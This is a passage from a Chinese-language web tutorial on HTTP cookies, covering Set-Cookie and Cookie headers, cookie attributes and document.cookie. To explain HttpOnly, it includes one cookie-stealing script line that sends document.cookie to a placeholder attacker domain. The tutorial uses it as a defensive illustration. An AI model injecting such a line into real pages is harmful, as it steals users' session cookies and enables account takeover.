<p>&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x4F1A;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4FDD;&#x5B58;&#x4E00;&#x4E2A;&#x540D;&#x4E3A;<code>foo</code>&#x7684; Cookie&#xFF0C;&#x5B83;&#x7684;&#x503C;&#x4E3A;<code>bar</code>&#x3002;</p>
<p>HTTP &#x56DE;&#x5E94;&#x53EF;&#x4EE5;&#x5305;&#x542B;&#x591A;&#x4E2A;<code>Set-Cookie</code>&#x5B57;&#x6BB5;&#xFF0C;&#x5373;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x751F;&#x6210;&#x591A;&#x4E2A; Cookie&#x3002;&#x4E0B;&#x9762;&#x662F;&#x4E00;&#x4E2A;&#x4F8B;&#x5B50;&#x3002;</p>
<pre><code class="lang-http">HTTP/1.0 <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-type</span>: text/html
<span class="hljs-attribute">Set-Cookie</span>: yummy_cookie=choco
<span class="hljs-attribute">Set-Cookie</span>: tasty_cookie=strawberry

<span class="json">[page content]
</span></code></pre>
<p>&#x9664;&#x4E86; Cookie &#x7684;&#x503C;&#xFF0C;<code>Set-Cookie</code>&#x5B57;&#x6BB5;&#x8FD8;&#x53EF;&#x4EE5;&#x9644;&#x52A0; Cookie &#x7684;&#x5C5E;&#x6027;&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Set-Cookie</span>: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Expires=&lt;date&gt;
<span class="hljs-attribute">Set-Cookie</span>: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Max-Age=&lt;non-zero-digit&gt;
<span class="hljs-attribute">Set-Cookie</span>: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;
<span class="hljs-attribute">Set-Cookie</span>: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Path=&lt;path-value&gt;
<span class="hljs-attribute">Set-Cookie</span>: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Secure
<span class="hljs-attribute">Set-Cookie</span>: &lt;cookie-name&gt;=&lt;cookie-value&gt;; HttpOnly
</code></pre>
<p>&#x4E0A;&#x9762;&#x7684;&#x51E0;&#x4E2A;&#x5C5E;&#x6027;&#x7684;&#x542B;&#x4E49;&#xFF0C;&#x5C06;&#x5728;&#x540E;&#x6587;&#x89E3;&#x91CA;&#x3002;</p>
<p>&#x4E00;&#x4E2A;<code>Set-Cookie</code>&#x5B57;&#x6BB5;&#x91CC;&#x9762;&#xFF0C;&#x53EF;&#x4EE5;&#x540C;&#x65F6;&#x5305;&#x62EC;&#x591A;&#x4E2A;&#x5C5E;&#x6027;&#xFF0C;&#x6CA1;&#x6709;&#x6B21;&#x5E8F;&#x7684;&#x8981;&#x6C42;&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Set-Cookie</span>: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;; Secure; HttpOnly
</code></pre>
<p>&#x4E0B;&#x9762;&#x662F;&#x4E00;&#x4E2A;&#x4F8B;&#x5B50;&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Set-Cookie</span>: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
</code></pre>
<p>&#x5982;&#x679C;&#x670D;&#x52A1;&#x5668;&#x60F3;&#x6539;&#x53D8;&#x4E00;&#x4E2A;&#x65E9;&#x5148;&#x8BBE;&#x7F6E;&#x7684; Cookie&#xFF0C;&#x5FC5;&#x987B;&#x540C;&#x65F6;&#x6EE1;&#x8DB3;&#x56DB;&#x4E2A;&#x6761;&#x4EF6;&#xFF1A;Cookie &#x7684;<code>key</code>&#x3001;<code>domain</code>&#x3001;<code>path</code>&#x548C;<code>secure</code>&#x90FD;&#x5339;&#x914D;&#x3002;&#x4E3E;&#x4F8B;&#x6765;&#x8BF4;&#xFF0C;&#x5982;&#x679C;&#x539F;&#x59CB;&#x7684; Cookie &#x662F;&#x7528;&#x5982;&#x4E0B;&#x7684;<code>Set-Cookie</code>&#x8BBE;&#x7F6E;&#x7684;&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Set-Cookie</span>: key1=value1; domain=example.com; path=/blog
</code></pre>
<p>&#x6539;&#x53D8;&#x4E0A;&#x9762;&#x8FD9;&#x4E2A; Cookie &#x7684;&#x503C;&#xFF0C;&#x5C31;&#x5FC5;&#x987B;&#x4F7F;&#x7528;&#x540C;&#x6837;&#x7684;<code>Set-Cookie</code>&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Set-Cookie</span>: key1=value2; domain=example.com; path=/blog
</code></pre>
<p>&#x53EA;&#x8981;&#x6709;&#x4E00;&#x4E2A;&#x5C5E;&#x6027;&#x4E0D;&#x540C;&#xFF0C;&#x5C31;&#x4F1A;&#x751F;&#x6210;&#x4E00;&#x4E2A;&#x5168;&#x65B0;&#x7684; Cookie&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x66FF;&#x6362;&#x6389;&#x539F;&#x6765;&#x90A3;&#x4E2A; Cookie&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Set-Cookie</span>: key1=value2; domain=example.com; path=/
</code></pre>
<p>&#x4E0A;&#x9762;&#x7684;&#x547D;&#x4EE4;&#x8BBE;&#x7F6E;&#x4E86;&#x4E00;&#x4E2A;&#x5168;&#x65B0;&#x7684;&#x540C;&#x540D; Cookie&#xFF0C;&#x4F46;&#x662F;<code>path</code>&#x5C5E;&#x6027;&#x4E0D;&#x4E00;&#x6837;&#x3002;&#x4E0B;&#x4E00;&#x6B21;&#x8BBF;&#x95EE;<code>example.com/blog</code>&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C06;&#x5411;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001;&#x4E24;&#x4E2A;&#x540C;&#x540D;&#x7684; Cookie&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Cookie</span>: key1=value1; key1=value2
</code></pre>
<p>&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x7684;&#x4E24;&#x4E2A; Cookie &#x662F;&#x540C;&#x540D;&#x7684;&#xFF0C;&#x5339;&#x914D;&#x8D8A;&#x7CBE;&#x786E;&#x7684; Cookie &#x6392;&#x5728;&#x8D8A;&#x524D;&#x9762;&#x3002;</p>
<h3 id="http-&#x8BF7;&#x6C42;&#xFF1A;cookie-&#x7684;&#x53D1;&#x9001;">HTTP &#x8BF7;&#x6C42;&#xFF1A;Cookie &#x7684;&#x53D1;&#x9001;</h3>
<p>&#x6D4F;&#x89C8;&#x5668;&#x5411;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001; HTTP &#x8BF7;&#x6C42;&#x65F6;&#xFF0C;&#x6BCF;&#x4E2A;&#x8BF7;&#x6C42;&#x90FD;&#x4F1A;&#x5E26;&#x4E0A;&#x76F8;&#x5E94;&#x7684; Cookie&#x3002;&#x4E5F;&#x5C31;&#x662F;&#x8BF4;&#xFF0C;&#x628A;&#x670D;&#x52A1;&#x5668;&#x65E9;&#x524D;&#x4FDD;&#x5B58;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x8FD9;&#x6BB5;&#x4FE1;&#x606F;&#xFF0C;&#x518D;&#x53D1;&#x56DE;&#x670D;&#x52A1;&#x5668;&#x3002;&#x8FD9;&#x65F6;&#x8981;&#x4F7F;&#x7528; HTTP &#x5934;&#x4FE1;&#x606F;&#x7684;<code>Cookie</code>&#x5B57;&#x6BB5;&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Cookie</span>: foo=bar
</code></pre>
<p>&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x4F1A;&#x5411;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001;&#x540D;&#x4E3A;<code>foo</code>&#x7684; Cookie&#xFF0C;&#x503C;&#x4E3A;<code>bar</code>&#x3002;</p>
<p><code>Cookie</code>&#x5B57;&#x6BB5;&#x53EF;&#x4EE5;&#x5305;&#x542B;&#x591A;&#x4E2A; Cookie&#xFF0C;&#x4F7F;&#x7528;&#x5206;&#x53F7;&#xFF08;<code>;</code>&#xFF09;&#x5206;&#x9694;&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Cookie</span>: name=value; name2=value2; name3=value3
</code></pre>
<p>&#x4E0B;&#x9762;&#x662F;&#x4E00;&#x4E2A;&#x4F8B;&#x5B50;&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/sample_page.html</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: www.example.org
<span class="hljs-attribute">Cookie</span>: yummy_cookie=choco; tasty_cookie=strawberry
</code></pre>
<p>&#x670D;&#x52A1;&#x5668;&#x6536;&#x5230;&#x6D4F;&#x89C8;&#x5668;&#x53D1;&#x6765;&#x7684; Cookie &#x65F6;&#xFF0C;&#x6709;&#x4E24;&#x70B9;&#x662F;&#x65E0;&#x6CD5;&#x77E5;&#x9053;&#x7684;&#x3002;</p>
<ul>
<li>Cookie &#x7684;&#x5404;&#x79CD;&#x5C5E;&#x6027;&#xFF0C;&#x6BD4;&#x5982;&#x4F55;&#x65F6;&#x8FC7;&#x671F;&#x3002;</li>
<li>&#x54EA;&#x4E2A;&#x57DF;&#x540D;&#x8BBE;&#x7F6E;&#x7684; Cookie&#xFF0C;&#x5230;&#x5E95;&#x662F;&#x4E00;&#x7EA7;&#x57DF;&#x540D;&#x8BBE;&#x7684;&#xFF0C;&#x8FD8;&#x662F;&#x67D0;&#x4E00;&#x4E2A;&#x4E8C;&#x7EA7;&#x57DF;&#x540D;&#x8BBE;&#x7684;&#x3002;</li>
</ul>
<h2 id="cookie-&#x7684;&#x5C5E;&#x6027;">Cookie &#x7684;&#x5C5E;&#x6027;</h2>
<h3 id="expires&#xFF0C;max-age">Expires&#xFF0C;Max-Age</h3>
<p><code>Expires</code>&#x5C5E;&#x6027;&#x6307;&#x5B9A;&#x4E00;&#x4E2A;&#x5177;&#x4F53;&#x7684;&#x5230;&#x671F;&#x65F6;&#x95F4;&#xFF0C;&#x5230;&#x4E86;&#x6307;&#x5B9A;&#x65F6;&#x95F4;&#x4EE5;&#x540E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C31;&#x4E0D;&#x518D;&#x4FDD;&#x7559;&#x8FD9;&#x4E2A; Cookie&#x3002;&#x5B83;&#x7684;&#x503C;&#x662F; UTC &#x683C;&#x5F0F;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;<code>Date.prototype.toUTCString()</code>&#x8FDB;&#x884C;&#x683C;&#x5F0F;&#x8F6C;&#x6362;&#x3002;</p>
<pre><code class="lang-http"><span class="hljs-attribute">Set-Cookie</span>: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
</code></pre>
<p>&#x5982;&#x679C;&#x4E0D;&#x8BBE;&#x7F6E;&#x8BE5;&#x5C5E;&#x6027;&#xFF0C;&#x6216;&#x8005;&#x8BBE;&#x4E3A;<code>null</code>&#xFF0C;Cookie &#x53EA;&#x5728;&#x5F53;&#x524D;&#x4F1A;&#x8BDD;&#xFF08;session&#xFF09;&#x6709;&#x6548;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x7A97;&#x53E3;&#x4E00;&#x65E6;&#x5173;&#x95ED;&#xFF0C;&#x5F53;&#x524D; Session &#x7ED3;&#x675F;&#xFF0C;&#x8BE5; Cookie &#x5C31;&#x4F1A;&#x88AB;&#x5220;&#x9664;&#x3002;&#x53E6;&#x5916;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x6839;&#x636E;&#x672C;&#x5730;&#x65F6;&#x95F4;&#xFF0C;&#x51B3;&#x5B9A; Cookie &#x662F;&#x5426;&#x8FC7;&#x671F;&#xFF0C;&#x7531;&#x4E8E;&#x672C;&#x5730;&#x65F6;&#x95F4;&#x662F;&#x4E0D;&#x7CBE;&#x786E;&#x7684;&#xFF0C;&#x6240;&#x4EE5;&#x6CA1;&#x6709;&#x529E;&#x6CD5;&#x4FDD;&#x8BC1; Cookie &#x4E00;&#x5B9A;&#x4F1A;&#x5728;&#x670D;&#x52A1;&#x5668;&#x6307;&#x5B9A;&#x7684;&#x65F6;&#x95F4;&#x8FC7;&#x671F;&#x3002;</p>
<p><code>Max-Age</code>&#x5C5E;&#x6027;&#x6307;&#x5B9A;&#x4ECE;&#x73B0;&#x5728;&#x5F00;&#x59CB; Cookie &#x5B58;&#x5728;&#x7684;&#x79D2;&#x6570;&#xFF0C;&#x6BD4;&#x5982;<code>60 * 60 * 24 * 365</code>&#xFF08;&#x5373;&#x4E00;&#x5E74;&#xFF09;&#x3002;&#x8FC7;&#x4E86;&#x8FD9;&#x4E2A;&#x65F6;&#x95F4;&#x4EE5;&#x540E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C31;&#x4E0D;&#x518D;&#x4FDD;&#x7559;&#x8FD9;&#x4E2A; Cookie&#x3002;</p>
<p>&#x5982;&#x679C;&#x540C;&#x65F6;&#x6307;&#x5B9A;&#x4E86;<code>Expires</code>&#x548C;<code>Max-Age</code>&#xFF0C;&#x90A3;&#x4E48;<code>Max-Age</code>&#x7684;&#x503C;&#x5C06;&#x4F18;&#x5148;&#x751F;&#x6548;&#x3002;</p>
<p>&#x5982;&#x679C;<code>Set-Cookie</code>&#x5B57;&#x6BB5;&#x6CA1;&#x6709;&#x6307;&#x5B9A;<code>Expires</code>&#x6216;<code>Max-Age</code>&#x5C5E;&#x6027;&#xFF0C;&#x90A3;&#x4E48;&#x8FD9;&#x4E2A; Cookie &#x5C31;&#x662F; Session Cookie&#xFF0C;&#x5373;&#x5B83;&#x53EA;&#x5728;&#x672C;&#x6B21;&#x5BF9;&#x8BDD;&#x5B58;&#x5728;&#xFF0C;&#x4E00;&#x65E6;&#x7528;&#x6237;&#x5173;&#x95ED;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C31;&#x4E0D;&#x4F1A;&#x518D;&#x4FDD;&#x7559;&#x8FD9;&#x4E2A; Cookie&#x3002;</p>
<h3 id="domain&#xFF0C;path">Domain&#xFF0C;Path</h3>
<p><code>Domain</code>&#x5C5E;&#x6027;&#x6307;&#x5B9A;&#x6D4F;&#x89C8;&#x5668;&#x53D1;&#x51FA; HTTP &#x8BF7;&#x6C42;&#x65F6;&#xFF0C;&#x54EA;&#x4E9B;&#x57DF;&#x540D;&#x8981;&#x9644;&#x5E26;&#x8FD9;&#x4E2A; Cookie&#x3002;&#x5982;&#x679C;&#x6CA1;&#x6709;&#x6307;&#x5B9A;&#x8BE5;&#x5C5E;&#x6027;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x9ED8;&#x8BA4;&#x5C06;&#x5176;&#x8BBE;&#x4E3A;&#x5F53;&#x524D;&#x57DF;&#x540D;&#xFF0C;&#x8FD9;&#x65F6;&#x5B50;&#x57DF;&#x540D;&#x5C06;&#x4E0D;&#x4F1A;&#x9644;&#x5E26;&#x8FD9;&#x4E2A; Cookie&#x3002;&#x6BD4;&#x5982;&#xFF0C;<code>example.com</code>&#x4E0D;&#x8BBE;&#x7F6E; Cookie &#x7684;<code>domain</code>&#x5C5E;&#x6027;&#xFF0C;&#x90A3;&#x4E48;<code>sub.example.com</code>&#x5C06;&#x4E0D;&#x4F1A;&#x9644;&#x5E26;&#x8FD9;&#x4E2A; Cookie&#x3002;&#x5982;&#x679C;&#x6307;&#x5B9A;&#x4E86;<code>domain</code>&#x5C5E;&#x6027;&#xFF0C;&#x90A3;&#x4E48;&#x5B50;&#x57DF;&#x540D;&#x4E5F;&#x4F1A;&#x9644;&#x5E26;&#x8FD9;&#x4E2A; Cookie&#x3002;&#x5982;&#x679C;&#x670D;&#x52A1;&#x5668;&#x6307;&#x5B9A;&#x7684;&#x57DF;&#x540D;&#x4E0D;&#x5C5E;&#x4E8E;&#x5F53;&#x524D;&#x57DF;&#x540D;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x62D2;&#x7EDD;&#x8FD9;&#x4E2A; Cookie&#x3002;</p>
<p><code>Path</code>&#x5C5E;&#x6027;&#x6307;&#x5B9A;&#x6D4F;&#x89C8;&#x5668;&#x53D1;&#x51FA; HTTP &#x8BF7;&#x6C42;&#x65F6;&#xFF0C;&#x54EA;&#x4E9B;&#x8DEF;&#x5F84;&#x8981;&#x9644;&#x5E26;&#x8FD9;&#x4E2A; Cookie&#x3002;&#x53EA;&#x8981;&#x6D4F;&#x89C8;&#x5668;&#x53D1;&#x73B0;&#xFF0C;<code>Path</code>&#x5C5E;&#x6027;&#x662F; HTTP &#x8BF7;&#x6C42;&#x8DEF;&#x5F84;&#x7684;&#x5F00;&#x5934;&#x4E00;&#x90E8;&#x5206;&#xFF0C;&#x5C31;&#x4F1A;&#x5728;&#x5934;&#x4FE1;&#x606F;&#x91CC;&#x9762;&#x5E26;&#x4E0A;&#x8FD9;&#x4E2A; Cookie&#x3002;&#x6BD4;&#x5982;&#xFF0C;<code>PATH</code>&#x5C5E;&#x6027;&#x662F;<code>/</code>&#xFF0C;&#x90A3;&#x4E48;&#x8BF7;&#x6C42;<code>/docs</code>&#x8DEF;&#x5F84;&#x4E5F;&#x4F1A;&#x5305;&#x542B;&#x8BE5; Cookie&#x3002;&#x5F53;&#x7136;&#xFF0C;&#x524D;&#x63D0;&#x662F;&#x57DF;&#x540D;&#x5FC5;&#x987B;&#x4E00;&#x81F4;&#x3002;</p>
<h3 id="secure&#xFF0C;httponly">Secure&#xFF0C;HttpOnly</h3>
<p><code>Secure</code>&#x5C5E;&#x6027;&#x6307;&#x5B9A;&#x6D4F;&#x89C8;&#x5668;&#x53EA;&#x6709;&#x5728;&#x52A0;&#x5BC6;&#x534F;&#x8BAE; HTTPS &#x4E0B;&#xFF0C;&#x624D;&#x80FD;&#x5C06;&#x8FD9;&#x4E2A; Cookie &#x53D1;&#x9001;&#x5230;&#x670D;&#x52A1;&#x5668;&#x3002;&#x53E6;&#x4E00;&#x65B9;&#x9762;&#xFF0C;&#x5982;&#x679C;&#x5F53;&#x524D;&#x534F;&#x8BAE;&#x662F; HTTP&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x81EA;&#x52A8;&#x5FFD;&#x7565;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x6765;&#x7684;<code>Secure</code>&#x5C5E;&#x6027;&#x3002;&#x8BE5;&#x5C5E;&#x6027;&#x53EA;&#x662F;&#x4E00;&#x4E2A;&#x5F00;&#x5173;&#xFF0C;&#x4E0D;&#x9700;&#x8981;&#x6307;&#x5B9A;&#x503C;&#x3002;&#x5982;&#x679C;&#x901A;&#x4FE1;&#x662F; HTTPS &#x534F;&#x8BAE;&#xFF0C;&#x8BE5;&#x5F00;&#x5173;&#x81EA;&#x52A8;&#x6253;&#x5F00;&#x3002;</p>
<p><code>HttpOnly</code>&#x5C5E;&#x6027;&#x6307;&#x5B9A;&#x8BE5; Cookie &#x65E0;&#x6CD5;&#x901A;&#x8FC7; JavaScript &#x811A;&#x672C;&#x62FF;&#x5230;&#xFF0C;&#x4E3B;&#x8981;&#x662F;<code>document.cookie</code>&#x5C5E;&#x6027;&#x3001;<code>XMLHttpRequest</code>&#x5BF9;&#x8C61;&#x548C; Request API &#x90FD;&#x62FF;&#x4E0D;&#x5230;&#x8BE5;&#x5C5E;&#x6027;&#x3002;&#x8FD9;&#x6837;&#x5C31;&#x9632;&#x6B62;&#x4E86;&#x8BE5; Cookie &#x88AB;&#x811A;&#x672C;&#x8BFB;&#x5230;&#xFF0C;&#x53EA;&#x6709;&#x6D4F;&#x89C8;&#x5668;&#x53D1;&#x51FA; HTTP &#x8BF7;&#x6C42;&#x65F6;&#xFF0C;&#x624D;&#x4F1A;&#x5E26;&#x4E0A;&#x8BE5; Cookie&#x3002;</p>
<pre><code class="lang-javascript">(<span class="hljs-keyword">new</span> Image()).src = <span class="hljs-string">&quot;http://www.evil-domain.com/steal-cookie.php?cookie=&quot;</span> + <span class="hljs-built_in">document</span>.cookie;
</code></pre>
<p>&#x4E0A;&#x9762;&#x662F;&#x8DE8;&#x7AD9;&#x70B9;&#x8F7D;&#x5165;&#x7684;&#x4E00;&#x4E2A;&#x6076;&#x610F;&#x811A;&#x672C;&#x7684;&#x4EE3;&#x7801;&#xFF0C;&#x80FD;&#x591F;&#x5C06;&#x5F53;&#x524D;&#x7F51;&#x9875;&#x7684; Cookie &#x53D1;&#x5F80;&#x7B2C;&#x4E09;&#x65B9;&#x670D;&#x52A1;&#x5668;&#x3002;&#x5982;&#x679C;&#x8BBE;&#x7F6E;&#x4E86;&#x4E00;&#x4E2A; Cookie &#x7684;<code>HttpOnly</code>&#x5C5E;&#x6027;&#xFF0C;&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x5C31;&#x4E0D;&#x4F1A;&#x8BFB;&#x5230;&#x8BE5; Cookie&#x3002;</p>
<h2 id="documentcookie">document.cookie</h2>
<p><code>document.cookie</code>&#x5C5E;&#x6027;&#x7528;&#x4E8E;&#x8BFB;&#x5199;&#x5F53;&#x524D;&#x7F51;&#x9875;&#x7684; Cookie&#x3002;</p>
<p>&#x8BFB;&#x53D6;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5B83;&#x4F1A;&#x8FD4;&#x56DE;&#x5F53;&#x524D;&#x7F51;&#x9875;&#x7684;&#x6240;&#x6709; Cookie&#xFF0C;&#x524D;&#x63D0;&#x662F;&#x8BE5; Cookie &#x4E0D;&#x80FD;&#x6709;<code>HTTPOnly</code>&#x5C5E;&#x6027;&#x3002;</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.cookie <span class="hljs-comment">// &quot;foo=bar;baz=bar&quot;</span>
</code></pre>
<p>&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x4ECE;<code>document.cookie</code>&#x4E00;&#x6B21;&#x6027;&#x8BFB;&#x51FA;&#x4E24;&#x4E2A; Cookie&#xFF0C;&#x5B83;&#x4EEC;&#x4E4B;&#x95F4;&#x4F7F;&#x7528;&#x5206;&#x53F7;&#x5206;&#x9694;&#x3002;&#x5FC5;&#x987B;&#x624B;&#x52A8;&#x8FD8;&#x539F;&#xFF0C;&#x624D;&#x80FD;&#x53D6;&#x51FA;&#x6BCF;&#x4E00;&#x4E2A; Cookie &#x7684;&#x503C;&#x3002;</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">var</span> cookies = <span class="hljs-built_in">document</span>.cookie.split(<span class="hljs-string">&apos;;&apos;</span>);

<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; cookies.length; i++) {
  <span class="hljs-built_in">console</span>.log(cookies[i]);
}
<span class="hljs-comment">// foo=bar</span>
<span class="hljs-comment">// baz=bar</span>
</code></pre>
<p><code>document.cookie</code>&#x5C5E;&#x6027;&#x662F;&#x53EF;&#x5199;&#x7684;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5B83;&#x4E3A;&#x5F53;&#x524D;&#x7F51;&#x7AD9;&#x6DFB;&#x52A0; Cookie&#x3002;</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.cookie = <span class="hljs-string">&apos;fontSize=14&apos;</span>;
</code></pre>
<p>&#x5199;&#x5165;&#x7684;&#x65F6;&#x5019;&#xFF0C;Cookie &#x7684;&#x503C;&#x5FC5;&#x987B;&#x5199;&#x6210;<code>key=value</code>&#x7684;&#x5F62;&#x5F0F;&#x3002;&#x6CE8;&#x610F;&#xFF0C;&#x7B49;&#x53F7;&#x4E24;&#x8FB9;&#x4E0D;&#x80FD;&#x6709;&#x7A7A;&#x683C;&#x3002;&#x53E6;&#x5916;&#xFF0C;&#x5199;&#x5165; Cookie &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5FC5;&#x987B;&#x5BF9;&#x5206;&#x53F7;&#x3001;&#x9017;&#x53F7;&#x548C;&#x7A7A;&#x683C;&#x8FDB;&#x884C;&#x8F6C;&#x4E49;&#xFF08;&#x5B83;&#x4EEC;&#x90FD;&#x4E0D;&#x5141;&#x8BB8;&#x4F5C;&#x4E3A; Cookie &#x7684;&#x503C;&#xFF09;&#xFF0C;&#x8FD9;&#x53EF;&#x4EE5;&#x7528;<code>encodeURIComponent</code>&#x65B9;&#x6CD5;&#x8FBE;&#x5230;&#x3002;</p>
<p>&#x4F46;&#x662F;&#xFF0C;<code>document.cookie</code>&#x4E00;&#x6B21;&#x53EA;&#x80FD;&#x5199;&#x5165;&#x4E00;&#x4E2A; Cookie&#xFF0C;&#x800C;&#x4E14;&#x5199;&#x5165;&#x5E76;&#x4E0D;&#x662F;&#x8986;&#x76D6;&#xFF0C;&#x800C;&#x662F;&#x6DFB;&#x52A0;&#x3002;</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.cookie = <span class="hljs-string">&apos;test1=hello&apos;</span>;
<span class="hljs-built_in">document</span>.cookie = <span class="hljs-string">&apos;test2=world&apos;</span>;
<span class="hljs-built_in">document</span>.cookie
<span class="hljs-comment">// test1=hello;test2=world</span>
</code></pre>
<p><code>document.cookie</code>&#x8BFB;&#x5199;&#x884C;&#x4E3A;&#x7684;&#x5DEE;&#x5F02;&#xFF08;&#x4E00;&#x6B21;&#x53EF;&#x4EE5;&#x8BFB;&#x51FA;&#x5168;&#x90E8; Cookie&#xFF0C;&#x4F46;&#x662F;&#x53EA;&#x80FD;&#x5199;&#x5165;&#x4E00;&#x4E2A; Cookie&#xFF09;&#xFF0C;&#x4E0E; HTTP &#x534F;&#x8BAE;&#x7684; Cookie &#x901A;&#x4FE1;&#x683C;&#x5F0F;&#x6709;&#x5173;&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x5411;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001; Cookie &#x7684;&#x65F6;&#x5019;&#xFF0C;<code>Cookie</code>&#x5B57;&#x6BB5;&#x662F;&#x4F7F;&#x7528;&#x4E00;&#x884C;&#x5C06;&#x6240;&#x6709; Cookie &#x5168;&#x90E8;&#x53D1;&#x9001;&#xFF1B;&#x670D;&#x52A1;&#x5668;&#x5411;&#x6D4F;&#x89C8;&#x5668;&#x8BBE;&#x7F6E; Cookie &#x7684;&#x65F6;&#x5019;&#xFF0C;<code>Set-Cookie</code>&#x5B57;&#x6BB5;&#x662F;&#x4E00;&#x884C;&#x8BBE;&#x7F6E;&#x4E00;&#x4E2A; Cookie&#x3002;</p>
<p>&#x5199;&#x5165; Cookie &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x53EF;&#x4EE5;&#x4E00;&#x8D77;&#x5199;&#x5165; Cookie &#x7684;&#x5C5E;&#x6027;&#x3002;</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">document</span>.cookie = <span class="hljs-string">&quot;foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT&quot;</span>;
</code></pre>
<p>&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x4E2D;&#xFF0C;&#x5199;&#x5165; Cookie &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x540C;&#x65F6;&#x8BBE;&#x7F6E;&#x4E86;<code>expires</code>&#x5C5E;&#x6027;&#x3002;&#x5C5E;&#x6027;&#x503C;&#x7684;&#x7B49;&#x53F7;&#x4E24;&#x8FB9;&#xFF0C;&#x4E5F;&#x662F;&#x4E0D;&#x80FD;&#x6709;&#x7A7A;&#x683C;&#x7684;&#x3002;</p>
<p>&#x5404;&#x4E2A;&#x5C5E;&#x6027;&#x7684;&#x5199;&#x5165;&#x6CE8;&#x610F;&#x70B9;&#x5982;&#x4E0B;&#x3002;</p>
<ul>
<li><code>path</code>&#x5C5E;&#x6027;&#x5FC5;&#x987B;&#x4E3A;&#x7EDD;&#x5BF9;&#x8DEF;&#x5F84;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A;&#x5F53;&#x524D;&#x8DEF;&#x5F84;&#x3002;</li>
<li><code>domain</code>&#x5C5E;&#x6027;&#x503C;&#x5FC5;&#x987B;&#x662F;&#x5F53;&#x524D;&#x53D1;&#x9001; Cookie &#x7684;&#x57DF;&#x540D;&#x7684;&#x4E00;&#x90E8;&#x5206;&#x3002;&#x6BD4;&#x5982;&#xFF0C;&#x5F53;&#x524D;&#x57DF;&#x540D;&#x662F;<code>example.com</code>&#xFF0C;&#x5C31;&#x4E0D;&#x80FD;&#x5C06;&#x5176;&#x8BBE;&#x4E3A;<code>foo.com</code>&#x3002;&#x8BE5;&#x5C5E;&#x6027;&#x9ED8;&#x8BA4;&#x4E3A;&#x5F53;&#x524D;&#x7684;&#x4E00;&#x7EA7;&#x57DF;&#x540D;&#xFF08;&#x4E0D;&#x542B;&#x4E8C;&#x7EA7;&#x57DF;&#x540D;&#xFF09;&#x3002;</li>
<li><code>max-age</code>&#x5C5E;&#x6027;&#x7684;&#x503C;&#x4E3A;&#x79D2;&#x6570;&#x3002;</li>
<li><code>expires</code>&#x5C5E;&#x6027;&#x7684;&#x503C;&#x4E3A; UTC &#x683C;&#x5F0F;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;<code>Date.prototype.toUTCString()</code>&#x8FDB;&#x884C;&#x65E5;&#x671F;&#x683C;&#x5F0F;&#x8F6C;&#x6362;&#x3002;</li>
</ul>
<p><code>document.cookie</code>&#x5199;&#x5165; Cookie &#x7684;&#x4F8B;&#x5B50;&#x5982;&#x4E0B;&#x3002;</p>
